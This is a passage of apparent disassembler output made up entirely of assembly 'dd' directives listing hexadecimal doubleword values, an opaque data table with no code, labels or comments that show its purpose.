0C32DAF61h, 0DE3763C6h, 40B98B1Bh, 10200928h dd 7F58AEFFh, 637603Fh, 560E696Ch, 0BE7F1F11h, 0D0DCC0A6h dd 0C8D42ABFh, 217708CCh, 0A6D70094h, 12F5EAF3h, 9A197D4Bh dd 0CB6045ADh, 64EFA5C5h, 60755880h, 1083A6CAh, 0C8BC70DDh dd 0C388806Eh, 0A33F12A6h, 6F4A3907h, 0A2E00F53h, 0C0374695h dd 0AE0DDEB0h, 0CF013589h, 3662F84Ch, 12F877D8h, 63E9395Ah dd 5060479Bh, 0E86F07D1h, 24068FAEh, 1FE6484Ah, 21026108h dd 0C8E97720h, 1854F86Dh, 9A002E88h, 5DCA6A72h, 4E6FA6h dd 5943C888h, 33A20E76h, 0DED19D03h, 0A0C4AD06h, 67B65DABh dd 82CBF1AEh, 808F16DDh, 0FAFFACC0h, 3F79FCBDh, 8066553Bh dd 2E14983Dh, 0E6CFF57Ah, 0D7FE1EA9h, 48ED00C9h, 0D13070B7h dd 8C03C3F2h, 0EF6CEB08h, 0C00CB0C4h, 0D47B5CA9h, 0B81D9600h dd 0DEC70775h, 1100EAFCh, 2B2D5C21h, 0D58D78h, 717B5A50h dd 2F8CE1D4h, 71EC74Ch, 42CE9D2Ch, 0AEFA2E50h, 13F4004Ch dd 160723BBh, 0BC002B21h, 0C6B86611h, 0CF0171DEh, 0FD6E1261h dd 13BC5960h, 0E00FBF03h, 0E057B3EAh, 6489E468h, 0A94D0E3Fh dd 2B208565h, 3D7315B4h, 52123E1Eh, 7D012F80h, 4FAF8Ch dd 2EC68F3Ah, 0C418B790h, 8071403Eh, 0C82A8ADh, 24A285h dd 2DDDA479h, 0FC1D80FAh, 9279587Ch, 1CEA8F01h, 4708D222h dd 3DA21980h, 273848Ah, 70065432h, 6944408Ch, 26591EEAh dd 0D9C3CAABh, 8D130090h, 2288775Eh, 7D6AFA0Ch, 30AC4969h dd 527E87A5h, 7B0743D6h, 7DF44B1Dh, 592C56h, 5A48AB9h dd 73C87245h, 0D307500Eh, 527780F3h, 0F680DEE5h, 0CF88A0A6h dd 25EA11h, 8EB6F841h, 0C5AB281Eh, 82B53706h, 87113C2Dh dd 0DF8E6104h, 5D10801Eh, 0BFC0A707h, 887D00D8h, 6E84183Bh dd 490011D6h, 2D559933h, 0BACC97h, 83E780ACh, 4AA0A26Fh dd 7EE56900h, 786C8C24h, 3AEF1EFFh, 837BC08Ah, 387DDBDh dd 0A2733300h, 0B30CCD0h, 98DB07EDh, 80E52165h, 3E9DD911h dd 80D54D3Eh, 0A9CA5316h, 0E642BDh, 7BCD9777h, 0A83276FCh dd 20F9F650h, 38735D00h, 8216E0AAh, 0FCE40050h, 401ADC2Dh dd 0F700492Bh, 0D43E9815h, 0AC9367h, 0C33C813Fh, 0FDE07FC1h dd 80DF4F3Eh, 472B338Bh, 25ECAED7h, 0C7607D06h, 0DC00264Eh dd 0BEF19AD6h, 4D2FF5h, 0AA56BA73h, 9E2CAE0Ch, 0ED69B900h dd 1C149A10h, 8BD7004Ah, 563A7D6Dh, 0BE00A038h, 0CFC33034h dd 0D37191h, 0A1FD2D89h, 0A6A3DD7Ch, 11802E00h, 0B390DBBh dd 0BC1201D0h, 0EC6FB6F7h, 0E332700Ch, 0C0114C26h, 7DB4C103h dd 6E4C0043h, 0DDE07AF7h, 0E12EEAFCh, 0B03925EFh, 0F56818B9h dd 705C00BEh, 32A8594h, 0D9FAA1F9h, 2C55A400h, 717A4F8Eh dd 8D60248Bh, 0D8B58004h, 0EE1F809Dh, 6EA82660h, 7E9EB68Ch dd 0E41E7D75h, 0B9091D73h, 0FF0E8024h, 0F538D551h, 0D68B7D0Ch dd 0EA1F49D9h, 76C900F6h, 1EAEDF9Ah, 0FC794C85h, 0DB7B4700h dd 0D97040AAh, 5AC1009Fh, 5AD25C6h, 0FD1FED37h, 95CECC50h dd 0A6E6E0FEh, 0F3EA5E5h, 0B0F9261Fh, 0D8FF831Ch, 0C4C0406Fh dd 0C7033268h, 50C317F5h, 0CA4DA860h, 99E000E3h, 758CDF21h dd 9D714EDCh, 43C43C00h, 64B670EAh, 0D841D1Bh, 0EFA340B7h dd 14FCD5BEh, 3DF15538h, 1FD90290h, 0E3BA2FE5h, 8230AF95h dd 7B247592h, 5D040F8Dh, 0D5C0BB90h, 0C162C5D3h, 27E88F00h dd 346DB796h, 53421E18h, 93CA8064h, 662F4965h, 288A6003h dd 0E05BBF05h, 42C323Ah, 0E244F68Dh, 306F82B0h, 75A0CC48h dd 1D01D400h, 0FB1ECEA7h, 0A5A90FBAh, 0E0A05CB2h, 0CC482E7Eh dd 0E7C9CF1Fh, 0AAA82DC0h, 3ED30CACh, 7F28D4Eh, 30196BEFh dd 0C05B55C1h, 92A503Fh, 0B7D7BA01h, 31177B9Dh, 3D577180h dd 0BFA2BC05h, 2F7ACC00h, 64366B5Dh, 92910EECh, 0DEA051F2h dd 3A57EB29h, 47114102h, 6008FF0Ah, 958D58h, 0FAD069A2h dd 7313C80Eh, 6AFC4A07h, 78E02F90h, 37C0629h, 99A89A84h dd 680734C4h, 26F85745h, 58BC98C0h, 0C6200FEh, 19AC4E47h dd 99FA6110h, 0E4B55304h, 45800328h, 0B8E96678h, 4FF64C7Fh dd 83B02600h, 868CEA5Eh, 0FE3EF913h, 935D6C41h, 0D9605941h dd 0D8F700CEh, 0D34FC8F3h, 0B4022CC3h, 0B755BC94h, 0A7784826h dd 32CD186Eh, 2B978E3h, 7736EF00h, 0B4DDE89Ah, 29B02Eh dd 6218290Dh, 3436B65h, 54D1A603h, 90D80EEAh, 8B9C3Dh dd 0B140B01Ch, 721066DCh, 5BFBD00h, 0A4806F4Ch, 0BB200C3h dd 6C0D2851h, 2E7AE663h, 73001471h, 8FDC0E0Fh, 0F72600Bh dd 0F443BEE2h, 7FDF42E0h, 8C00FF30h, 19E6CD59h, 4FBF7Ah dd 53D931CAh, 0C7039C66h, 860C052Ch, 0A5F16D07h, 98B85AB0h dd 798F3D26h, 0D21192h, 861876D4h, 70FA5E0h, 0C0E5D590h dd 0B0A8DA62h, 1DB300CFh, 383F7DA0h, 3307B637h, 52362EEAh dd 0B55F4530h, 9DFB00BDh, 0D64B15F6h, 0FF0079F8h, 3A41741Dh dd 0D4820Bh, 36DBB0AEh, 0D39FBC25h, 2944F400h, 0D679B661h dd 92F8001Ch, 337D8D7Eh, 340B3C9Ch, 2077B55Bh, 1B389A4Ch dd 0A9BB0080h, 71B1E1DFh, 0B0744DA8h, 0E97C0CB0h, 63434000h dd 70EDF96Dh, 3BBB0A15h, 0E01355h, 0FF0AA04h, 0C8A09D25h dd 0E6001B53h, 83BB6FCBh dd 1DCA0A14h, 5FF70EEh, 4895098Ch, 614EB28Ch, 0B5DF11BDh dd 5F7830h, 0FB49556Ah, 0A7308968h, 0B10072FCh, 9C27C8CBh dd 607A94B8h, 294AAA22h, 621FE9C1h, 8EC335F6h, 0EB2EF45Eh dd 0F0A2DB0Ah, 8BF537h, 390BD44Eh, 614786E8h, 7CC30800h dd 0D51617C9h, 358C2E58h, 9C8B0B35h, 87BB4F80h, 6D0732C4h dd 0BEC3FCC0h, 9AB7A70Eh, 633F3800h, 8ADD0014h, 2584F271h dd 0DF733751h, 0F9FCA70Eh, 7450079h, 5B7AA6h, 0DC1314C1h dd 0DE80C5E2h, 38095000h, 84A254D9h, 0D0EA44h, 5D161046h dd 0A1754EEFh, 8000AAB8h, 0D9823D4h, 35095C6h, 0A7182A2Fh dd 46F0B47Eh, 0E9784DE8h, 3D970301h, 0DC66C439h, 9253DE70h dd 92D900ACh, 5A33F9E1h, 9F5C9EA8h, 0F6F20110h, 1B4FBB14h dd 737A70h, 0C51DCBE2h, 0ACC6C351h, 0E70AD100h, 3802107h dd 0D3F40EEFh, 0C8672714h, 0AE7AB348h, 9E89D2F0h, 0E177F600h dd 517E9A64h, 1FC40050h, 8E4476A2h, 0B300DCD1h, 0D732080Ah dd 9774D0h, 9E6E6CCBh, 7CCCB857h, 9BF78A01h, 0FA9C0BBDh dd 0FBBFDE0h, 808F48FCh, 5F88E460h, 0CD044928h, 0ACF2DA4Fh dd 6AAD0C80h, 322F00D2h, 0E9A74264h, 0AB1375CCh, 0B440350Eh dd 0C0F00733h, 93700A4h, 0B914FB22h, 0CA0F4573h, 7F7D942h dd 7810C74Ch, 0FDA2C0h, 0D7E7E933h, 0A3E6AC74h, 0EF940C00h dd 0F75C64ABh, 3908B8B2h, 24C8BA0Eh, 0A66EAD00h, 0CB34FB4h dd 1CFC7712h, 44A9A840h, 0F62CADC2h, 7C92067Dh, 98E7BDC3h dd 109A6E31h, 32133B35h, 7E2022C0h, 98D96C00h, 0C6FDE310h dd 6A7F009Bh, 6DB35387h, 0B107485Fh, 0DCBCA1DEh, 0EE00A04Bh dd 0B97233h, 130E5D9Fh, 462DA227h, 405F000h, 4CFE12ABh dd 63C9EC74h, 812EA6A5h, 887C4030h, 13A76F28h, 45C297ABh dd 0C776E4h, 0A2869D64h, 2E07D345h, 4435B33Bh, 1F55BEF1h dd 3420E2C9h, 7EEE0F5Ah, 35A0C4D8h, 517CD50Bh, 8F0019F2h dd 97B9EBA1h, 0DE170Ah, 3982F0F7h, 504CFAAEh, 974B513Fh dd 7701A278h, 9B93F37Bh, 1FFE0C4h, 67E9BDB8h, 70A711D3h dd 78382648h, 44830039h, 70B2DD16h, 90FF070Fh, 701E0C3Eh dd 2CEE180Eh, 0DF784C00h, 8764B160h, 57A79ABh, 0FBF8123Fh dd 0CE108017h, 0D800E6DFh, 11A9D9E0h, 7B1501h, 0A4824D81h dd 34AB5606h, 84A829EAh, 840AF408h, 0B026B352h, 81EB33Fh dd 69213903h, 64158501h, 0ECBBF0D8h, 10F67AF1h, 2204B478h dd 3A9E3D28h, 569C4C90h, 832C396Ch, 0BBC27786h, 1063085Ch dd 0E8BE7A21h, 2D21415h, 5353EF0h, 0E7E0A71Eh, 0AB00B837h dd 3F9355DDh, 63C9D801h, 3C1B381Fh, 345A43F2h, 0E859A500h dd 7C726F1Ah, 97666D7h, 919821F2h, 42AE900h, 54BD5B79h dd 0BB58C46Dh, 241019h, 0A38E651Fh, 1E7816Eh, 352DED76h dd 0B2E342CEh, 306D7828h, 3F11E85Eh, 0EF882A6Fh, 0E97D3080h dd 0DEAB146h, 9072E35h, 88600B48h, 0C0A2C41Eh, 0E3BCA98Bh dd 72A0B4A0h, 0BC2E8528h, 43E88900h, 8E0D6E92h, 9BBE07D6h dd 60AF511Ah, 504DC3B4h, 3EDB0658h, 0E6B3D22h, 6068090Dh dd 0E8804CB7h, 8AE71DA6h, 0C5754366h, 0EFF8B901h, 9F753E8Dh dd 7892DA00h, 0FD665543h, 0BF840067h, 0EAF02B36h, 0B003FDBh dd 0AD6AF51Fh, 7C174C70h, 567699h, 31F4C5B8h, 58F992EFh dd 4F21029h, 8FB26763h, 49CACFC1h, 3E781980h, 33C05FBFh dd 0C7F5AE07h, 5C46A9DBh, 31891D21h, 0D2C940BFh, 8D221F4Dh dd 4FE89207h, 25B10661h, 0BCC88BF9h, 647FCEBh, 310A9FD2h dd 841C404Dh, 6C13ECCh, 1A66674Eh, 0E88BDBEBh, 0C2A3419h dd 0E3AAC477h, 3E481020h, 20362973h, 30E123E2h, 0EE20DC4Fh dd 7E1B0CFFh, 769022F5h, 92AD1916h, 8C9C2E0Ah, 0B780F09Dh dd 95C71863h, 3E93334Dh, 213EF608h, 4AB780DFh, 0A32B10ACh dd 4F7D0634h, 60865AFCh, 0A5166908h, 0D3020647h, 78C439E1h dd 4F1D9EC5h, 7587DF30h, 0AAFD47D7h, 801911B8h, 0CFA1BF34h dd 229E4383h, 2F8B0323h, 678D9BBFh, 53D066A8h, 79BE940Fh dd 758123BDh, 0D1280E11h, 21839A6Ah, 55C8E78Dh, 0F4A9DF1Ch dd 389BF0C4h, 9211FF60h, 13209A0h, 9D6CD665h, 0D16D3E7Dh dd 0C92180F6h, 0B5240A48h, 0EB4E3B5Bh, 40A1B400h, 7B5428ADh dd 0D1EAF700h, 3B587D50h, 0A68E0005h, 0ED59139Ah, 8B0AFE79h dd 3CD17B5Fh, 0F7465Ch, 45DE71EEh, 7B3BF32h, 1B040C07h dd 44F940FEh, 0CF502098h, 0FA4012C4h, 40097D5Ah, 0B3152A24h dd 81B01810h, 0CFA0BF33h, 105C31FEh, 1CBF2ABEh, 0C3A8A170h dd 0CC2FE4EFh, 936656F8h, 1B2099C0h, 712A3748h, 1E7C004Dh dd 0E81172D5h, 16050F76h, 42282943h, 1AD38C07h, 8D56FFF0h dd 0F6D703F2h, 4E650151h, 63887100h, 7E5B1D0Dh, 5AD1411h dd 9A2394AFh, 0DD0A9300h, 856D0E64h, 0D05B3C8Ah, 0A51D9E01h dd 833F18BBh, 21008DABh, 0EBB0593Bh, 763344h, 7E4FDD0h dd 0AA6451D4h, 0D8751202h, 40F0BCF6h, 809C66A8h, 5B499286h dd 0B7348090h, 43CF1862h, 7CEA229Eh, 3CB7025Eh, 0FF1B13D7h dd 69088044h, 351397Eh, 0F69ACBB7h, 45316005h, 84005911h dd 2260ED35h, 379F00CFh, 0A03BA549h, 2130330Dh, 0C414499Bh dd 71C07BE1h, 0DCD25442h, 0DDDF02D1h, 0C233B8D9h, 3443D480h dd 65F0A7BAh, 94CD94A8h, 5E699104h, 0D04F0Dh, 0C1F486DCh dd 1D790588h, 84542067h, 0DB5EC413h, 0B40E2842h, 2F300B6h dd 0D0A67A8Dh, 46079946h, 4865340Ah, 3F40E1C4h, 91270A0Eh dd 8265B200h, 7CA8CA01h, 925DEE4Bh, 0C0C2FA04h, 8073B7AAh dd 73DCC68h, 66F89DDAh, 0FE6204C0h, 12D43D11h, 1BC7B1Ah dd 60296728h, 0CF342040h, 0A320D6F8h, 0D4043921h, 33C8E6B0h dd 0B30399C4h, 94894305h, 7B300046h, 9A493CD8h, 0F5280E4Dh dd 0CC598048h, 0CBAA0908h, 54A80AB2h, 0A090804Fh, 311AD216h dd 0DE68F5A2h, 0F9E0521Eh, 808811E1h, 3A207DF1h, 7181A9h dd 6862D6DFh, 3079D2CAh, 21510B2h, 50EC96CDh, 3F8C4734h dd 1B88B720h, 0DA5995EFh, 28A8B7F4h, 73D83F90h, 0E6980D2h dd 0C86E4130h, 302F58E3h, 99D1F7BAh, 2101A664h, 8E7CB585h dd 8988D4Ch, 9C38C161h, 0F481A100h, 4F5C27FCh, 6660C0Fh dd 76507C6Dh, 23183958h, 0B72A0149h, 183F1B90h, 0C25088E8h dd 0A828B700h, 0FD0D118Bh, 0C3C002ABh, 0C4017F8Eh, 9558DCA0h dd 68B24909h, 45DDB8C4h, 23A66630h, 448C8571h, 9E2C2A54h dd 99017BA1h, 3C583A03h, 988066E2h, 0BAB118B8h, 495251FEh dd 89055C3Dh, 2E22ADFBh, 62ACE198h, 0B9FCDD29h, 8C673C20h dd 0E83829h, 3BDE86BBh, 0A7378F27h, 0F88EF169h, 889F21h dd 0C864E4F5h, 0C932BE6Ah, 0B7241C00h, 80F63BEFh, 3157F44h dd 31C8D993h, 0C90A84DDh, 98E7CC02h, 0ACA6209Dh, 3B86E09h dd 996528D8h, 9440F0FCh, 488DCA05h, 4518206Fh, 0F455D1F8h dd 0D79C7E09h, 82D83284h, 23D82AF0h, 6056E442h, 0A1910208h dd 318D852Ah, 69391053h, 7B7DA6h, 83A508B3h, 3BA6FA8h dd 0BB9021C0h, 7E55573h, 42C24BDCh, 1367F29Bh, 0CEACA88Eh dd 0BC1E7469h, 47007162h, 0AAB22BDAh, 0C59E01D4h, 817ECB0h dd 5FB1DC02h, 3F29633Bh, 85C69891h, 646495B8h, 90F17107h dd 0C87AF910h, 6D4EF05h, 7C8135A5h, 36009672h, 0D2241B0Dh dd 6980D805h, 0E6A84262h, 66E12409h, 0BA4C808Ch, 7892C7Dh dd 449E3A07h, 5EBFC2E0h dd 29309FC1h, 2CCC6580h, 0F5BCA4F1h, 0D9F200F2h, 0D65462CFh dd 0C73067C4h, 0F03350A7h, 0F2DD099Eh, 0E817ADE8h, 0D283F791h dd 0E9C80CE1h, 4FE0B1F5h, 76EBDF01h, 1906643Eh, 54F1D034h dd 71448440h, 5821004Ch, 49B21F87h, 9760CE6Fh, 85F72098h dd 1650C54h, 0C7C89ABCh, 0F24A5812h, 0E7D7480h, 99A928D8h dd 0D8D261B0h, 30F7F9CAh, 7522936Ch, 22C984Bh, 0A6C47EDDh dd 88636BADh, 1EC32010h, 5E30B22Eh, 1C002146h, 3022AF5Dh dd 20F9EF31h, 0EA408258h, 0AC8B493Bh, 0B96DC100h, 0C3778EAFh dd 0C7DFD903h, 0B87F7B21h, 24111060h, 0F45D95h, 0C4424DAAh dd 9300ACE4h, 6208A5Ch, 30FC8439h, 4D58E5EEh, 0A713F5C8h dd 0D804DD8Ch, 8538962h, 0D180F024h, 6ABD421Ah, 0D1D8B992h dd 1E4188Eh, 1E0F2012h, 83548979h, 0CACC04A0h, 1B880AA9h dd 399CCDC8h, 0BF2801C6h, 0AE23C095h, 87A37C28h, 3CDBFE0h dd 70BA5403h, 886907D1h, 267E187Ah, 8AD46D41h, 83D4AACCh dd 5375117Bh, 8E84800Ah, 87829C98h, 4620BA92h, 0B7230450h dd 62D71865h, 1ACD20EBh, 500A1B7h, 9794E539h, 0C04C8393h dd 0BE28F699h, 4D038B1Bh, 0B5AA6F88h, 9C8D98F0h, 0ADE425E8h dd 0E111B81Dh, 0B314A880h, 0B500FBE6h, 0F3EBC53Ch, 0F74ECBBCh dd 23D2A440h, 246B0788h, 0C0147967h, 9E55EA9Ch, 7C80C4B1h dd 73383605h, 91D813C0h, 23842FE3h, 5097001Dh, 0BC9A0E70h dd 731E4D1Ch, 83123FCFh, 0E86E611Bh, 0B2FF77C5h, 22346BCh dd 8535A190h, 360C795h, 80A6680Ch, 7A02A3E0h, 11D92701h dd 0DADC4F6Eh, 0F418E9A8h, 0DE7226C0h, 32A9C3Ch, 74DDD401h dd 99EB629Bh, 0BC9C185Ch, 18008CD9h, 3D334CB6h, 26AC56BFh dd 40BCBA63h, 3E4F75DBh, 91D58E01h, 0E91FFA54h, 342CDCh dd 8C485E8Bh, 5265237Eh, 0E861040h, 5382B5BEh, 5F76E5E1h dd 562F70DDh, 0C8571C4Ah, 0EB967C20h, 0EABB0002h, 621A3E9Ch dd 0A919FEF0h, 0A50405CAh, 20824834h, 0D17E117Fh, 0F007D931h dd 50F0793Ah, 1449675h, 81C60572h, 3306C567h, 0E0AD04DCh dd 0E8C54703h, 309D60D2h, 300809D2h, 646CE665h, 0BACB40F4h dd 374C09h, 42B201CCh, 0FDDFF0DEh, 0CD89709Ch, 0F6C00171h dd 0FBE1E018h, 0C468E7F2h, 0C0FB601Dh, 3D210055h, 73940ABDh dd 0F149D91Bh, 103050C8h, 666831C0h, 0FC3DA44h, 2EE131F4h dd 67FB40DFh, 0D2343288h, 10203058h, 0AC007EE9h, 89A093DEh dd 793110F6h, 4764B9C9h, 15A6E050h, 0D82B01B4h, 0F30C8546h dd 13ECC8C7h, 89430704h, 94D0E988h, 15B26708h, 949038B8h dd 4BD6BA01h, 607CEE18h, 82046289h, 0BF222402h, 2392CC82h dd 71C66534h, 4C0F1CFEh, 5EE10A6Bh, 0C15C4B40h, 1361B80Fh dd 0C021DD06h, 7F9BBBA0h, 881C012Eh, 0F58C5880h, 0C699A49h dd 9D741A53h, 82ECCF60h, 71CCE48h, 0C425E111h, 0AC00FC3Ah dd 0D2C9BA37h, 16B4A99h, 205DE5C4h, 11204FCFh, 5585C718h dd 0CC1C8869h, 0C7F6D803h, 0C2B393D7h, 98E86C1Bh, 0CFAB3F74h dd 5B888459h, 0BEDD8D80h, 1346C44Ah, 0CD5CE509h, 0AC3C2CCCh dd 0DD018CE8h, 0EC914BC1h, 0A1809606h, 50CA6979h, 62005EEBh dd 2221AEEFh, 7F289FB8h, 0BCE4AB48h, 7BA1F88Ch, 1EA303CAh dd 42090471h, 0A79F8EB8h, 0FE594600h, 0E8D28465h, 273F1E4Ch dd 6756CAEAh, 28874088h, 38BAE4C8h, 94325C08h, 8C010659h dd 0C2261813h, 0CC80401Bh, 2879F293h, 29B203E8h, 0C07D7276h dd 0DF46AAD0h, 79FC53Eh, 93F00EC7h, 5BA3EC1h, 0E170A980h dd 3D7B85A7h, 35FDE50Eh, 1BC924D2h, 184D90D0h, 8B060C80h dd 0C77A2388h, 3AB5FF1Ch, 2F7F2C82h, 0E1F84058h, 98726063h dd 0F2729A7h, 4E1F4016h, 1B24E480h, 43ED09CCh, 0A38205CBh dd 0D480524Dh, 0B89E1F34h, 680124F2h, 0E766F8FAh, 0FBF04107h dd 70F7C09h, 851B2C19h, 5CE840EFh, 27004F43h, 5BF9773Dh dd 0F7716029h, 21809CD1h, 9627B7AAh, 7C01C7BEh, 4B5BEE47h dd 3601A509h, 4CAECC6Fh, 0F4FA2B0Dh, 38807071h, 0FDE92CE3h dd 78CF598Bh, 82ED03BBh, 3400398h, 28E0B5EEh, 7CE82800h dd 0A204F3A5h, 0FC100C17h, 7808AAD9h, 0E520E060h, 19BF35Bh dd 0E6860D5Dh, 0F0BEEB6Fh, 30609629h, 68110C71h, 73A901AEh dd 0BBB1EC49h, 8058D148h, 97F97121h, 0FC059CD1h, 44D018E1h dd 0D5B4922h, 6035AE1Eh, 7627AB09h, 877D00BFh, 85439ECEh dd 0B917B500h, 0B702A165h, 827E7Ah, 153B4F46h, 9F6D68CDh dd 8058553Dh, 23353019h, 566460h, 98596680h, 0BFCE47F4h dd 0CD03D6E8h, 76573DB9h, 0FF9EE815h, 0EEA11E4Fh, 0C11700ADh dd 0BD1BB604h, 5EFA9707h, 0F8201C59h, 724D6A3h, 44F342CEh dd 0EA8F80E8h, 3B0FE4FCh, 0E01BFECAh, 0E5B54897h, 72710033h dd 65685390h, 51EEB80h, 3C403554h, 6657B9B7h, 0B0F004B4h dd 0C0DA48A1h, 4FF12EA1h, 8EEF5200h, 0D3923265h, 0F1500ECh dd 0DB90AA10h, 0AB007BF3h, 0F2B713A7h, 7A8AF612h, 604879FFh dd 0E4223C2Dh, 0E5002579h, 0F2E7E867h, 3B71154h, 42D04471h dd 84D80353h, 0BC00B449h, 0BB3E4A8Fh, 1EC7D554h, 806C63DDh dd 351A76C2h, 4B00815Dh, 46F46DCCh, 351F5EAh, 78599C27h dd 0C4F35518h, 63073E96h, 1AAFACD7h, 2526B330h, 0FC7FF7h dd 0F53E7CCDh, 5A72F239h, 0DA36BD1Eh, 0E531A4C7h, 0BBE64470h dd 93680012h, 3A8A7169h, 0B9009E6Ch, 6BC84D01h, 1EDCE4C0h dd 0D5C383h, 68E11FBh, 0B00150B5h, 550FB8AEh, 9DFC755Ch dd 90B2003Fh, 10D458D9h, 250054F3h, 33F8A547h, 0F2124Ch dd 0C17B0E4Fh, 0A42428DCh, 3C2720Eh, 87E5C0A8h, 808E90h dd 2BDFFBD5h, 0A5FD2951h, 0C9E31B00h, 0EC987919h, 632200D9h dd 4E74212Ah, 4D01FFBFh, 70308691h, 2480F0B5h, 7DF26EEAh dd 0CB005C01h, 0F50310E1h, 14627BAh, 618DA0EDh, 4038F1BDh dd 0B3BE0AB4h, 0E968AB00h, 1E4D7A2Ch, 75040037h, 0DDCEB07h dd 4200E55Ch, 0ED9BCE7Fh, 0FB00E2Ah, 79F3829Fh, 9E5800BCh dd 25A03798h, 1D074E00h, 41C3789Ch, 579A03F1h, 59197703h dd 2B7470E7h, 8D000F39h, 0E54E2E80h, 75064h, 0FAC077D9h dd 0DA55EADDh, 0B92F0607h, 285001EDh, 0EE6FC1Eh, 0D877AD2Eh dd 0A0DF5540h, 0C200E099h, 0DA394A62h, 504DAFh, 0B881213Fh dd 7DA7AC1Fh, 33473Bh, 789CA3Dh, 6AE70Dh, 0FE033102h, 4C594AF7h dd 0D8AD7E00h, 502FC97Bh, 4F610052h, 38E1D91Ah, 0FBF44933h dd 300CA400h, 3B68E572h, 272501D7h, 4FC9BC3Ch, 9706D4CBh dd 0FB2D0F00h, 57C30AC2h, 151D00B1h, 0B887A6CAh, 620020A5h dd 85FFD106h, 0E3916Ah, 4FAC2412h, 0F5E522A6h, 5D099D12h dd 7ADF9A00h, 7B7BF85Eh, 0AC2D06CBh, 28A3D90Fh, 0BF305900h dd 1BA44EA0h, 5470DDh, 2F45CF76h, 0D9E06C35h, 41E42400h dd 9DCACC8Ch, 62F50704h, 30310636h, 0B9EF8205h, 0CE283000h dd 0C7CBF171h, 0E32C00D6h, 24C2FC76h, 8873686Ah, 0EA00D47Ah dd 0A87174FEh, 1871973h, 6D98CB40h, 0F8069E6Eh, 8000EED0h dd 8B9B3052h, 0E8B05BE4h, 39FB7257h, 0E700CC49h, 32765621h dd 5A038E70h, 0A43F8292h, 6ACEE06Ch, 5FD500C5h, 716FF6B2h dd 0D4007555h, 4846F5C0h, 2BADE8h, 4D9113FCh, 1A1FB569h dd 658F9A00h, 7775BC09h, 98F1F047h, 0F8850030h, 0C0731684h dd 0C9383031h, 382203A6h, 0C88A99B6h, 30F72D3h, 0E2328D58h dd 0D000B5A2h dd 0FC050DC6h, 32BFDF0h, 25FE381Bh, 629A7AD0h, 209B9461h dd 7B00FB3Ch, 9D04DC49h, 70C010h, 8C92177Ch, 7639469Ch dd 7B0D0202h, 0C0CA81D4h, 9036F3CBh, 0D75D58CBh, 0BA5AF700h dd 1E4B2E5h, 85815900h, 0DF6D6B6Eh, 0A03D7523h, 180948F8h dd 28934486h, 81F9AC6h, 2F40A189h, 0F455C399h, 7BEC3054h dd 0DE3D360h, 3C726B00h, 4A389979h, 0D75B000Fh, 0C33836Dh dd 34007741h, 4C93D59Ch, 664D1Ch, 0E605891Ah, 0AD2D9715h dd 0B1A0417Dh, 9439FC7Eh, 0F9670021h, 54CB582Ch, 50B03896h dd 0B0DDD59Fh, 43D3E0E2h, 0CEE72E01h, 0BAB43944h, 584BC420h dd 70617E27h, 0D411FD83h, 0C902470Eh, 0F240070Dh, 71E440B7h dd 8A800D2h, 12C319B2h, 0E607A647h, 384A7B76h, 13D1A10Eh dd 3181A81Fh, 0DAC7F540h, 1000E788h, 0AB6C4B08h, 0A7923E2h dd 0A5EC90E9h, 52C303B5h, 6188830Bh, 0B4385C44h, 1D58BBD4h dd 0D61F3A86h, 0A688F680h, 0B56BA7h, 0AA7A4CB7h, 6656E3B6h dd 2EAB3B03h, 0B8B3129Eh, 0A23D96h, 0FCE570B7h, 89987AD1h dd 34A3DC1Dh, 0AC158DCEh, 3AFD799Bh, 0B73C9529h, 0D505BD01h dd 0F4C464DAh, 314015Dh, 4101634h, 0B39B3B13h, 0C784D841h dd 0E5F8D1E7h, 0CE518798h, 9B7094B8h, 7926C04h, 7D2903B3h dd 18494F5Eh, 1F03100Fh, 16B8C1D3h, 65003049h, 0AC1334C9h dd 36196E3h, 0D2BBE19h, 0DBB38010h, 898BE6D8h, 0CA0F1E1Eh dd 0EC28DA80h, 39636C6Ah, 0C703D9B4h, 67B56434h, 2E0C88C6h dd 0B9948C19h, 0FBFD001Dh, 0AB1B51E2h, 2E5CB474h, 9C951E3Ch dd 8D250302h, 0DEF86B8h, 58E20841h, 0B3079964h, 0B851C7BCh dd 4F60CF77h, 0DF631D85h, 0DDC400E1h, 71D23F81h, 8FAA7900h dd 293528B9h, 945A1EFEh, 0C3D08FA6h, 4E03ED74h, 3CCF751Bh dd 0B2A798A0h, 0BC0B1800h, 9412B71Fh, 0C68C000Ch, 0FE832603h dd 81001360h, 4FA8108Ah, 0F6A698h, 23FCE02Bh, 0FB5CB7B8h dd 300076F0h, 0F184651Eh, 4794E6h, 0E4754A52h, 85E7579Eh dd 253C68E4h, 0DC1900AEh, 886F554Ch, 75C000C4h, 94FE790Bh dd 0F61F341Dh, 0A347A7F9h, 491043F8h, 5C4A13h, 97B63154h dd 1E3D4B64h, 0ABE0BB00h, 0B7166FE3h, 0CB0E00C4h, 8DDA70A9h dd 0F01F383Fh, 474069EFh, 1219B978h, 9A3A0AE6h, 0ACC893E4h dd 517C02F8h, 0B8A061E0h, 0D3D24758h, 1955C617h, 20496909h dd 42E1E28h, 0F2927618h, 0CA6E4C17h, 4BB9A500h, 3E8A5EF5h dd 0B84C6B00h, 6C904A53h, 0B738C006h, 9345B5Ah, 0EEA30500h dd 26BBFFF2h, 616900E4h, 0F89DEB1Bh, 0DF051987h, 2D71377Eh dd 0E226F840h, 3EC8FE4h, 1E177B1Dh, 0C1A08BC5h, 5D00E0FFh dd 50C3BB0Bh, 0B0192Ah, 1636A3CBh, 0C064FB9Ah, 18E0E0C6h dd 76410ED9h, 43FE5E73h, 61DD22EAh, 2AFC5FB8h, 9EF0AB02h dd 44E12132h, 7BB5F05Ch, 0DF09002Fh, 0D5ECA2AFh, 0D60ACE51h dd 0A08FB96Ah, 0B1233880h, 0F2B64813h, 0C0459034h, 4E0B9818h dd 570F2825h, 608E7D93h, 9A2119EAh, 71AB0065h, 0D87BB59Ch dd 0DD7A3717h, 13078E7Fh, 48042306h, 0C067B162h, 546CD54Fh dd 388858h, 0F1CB5563h, 2A23F7C4h, 153A3000h, 343ECF70h dd 87DC00C2h, 4B376D77h, 4900B6ECh, 43EEEDCAh, 18839A41h dd 78A089F1h, 621FD49Fh, 8B02A930h, 44D39EE7h, 0A1A880B4h dd 36600ADh, 9F0A8E36h, 2800E220h, 90779281h, 78BC0CDh dd 0CE3EFB70h, 0D051C10Ch, 6FCCD81Fh, 80FC55E9h, 34B1D43Eh dd 10320700h, 0E6F709DCh, 0E3C1006Ch, 0B05CF24Ah, 4893B39Ah dd 8D9B0E82h, 9A850F4Ch, 181000ADh, 0D4B280AAh, 32346F01h dd 0C7897D8Ch, 0A07630h, 0EDFF0F69h, 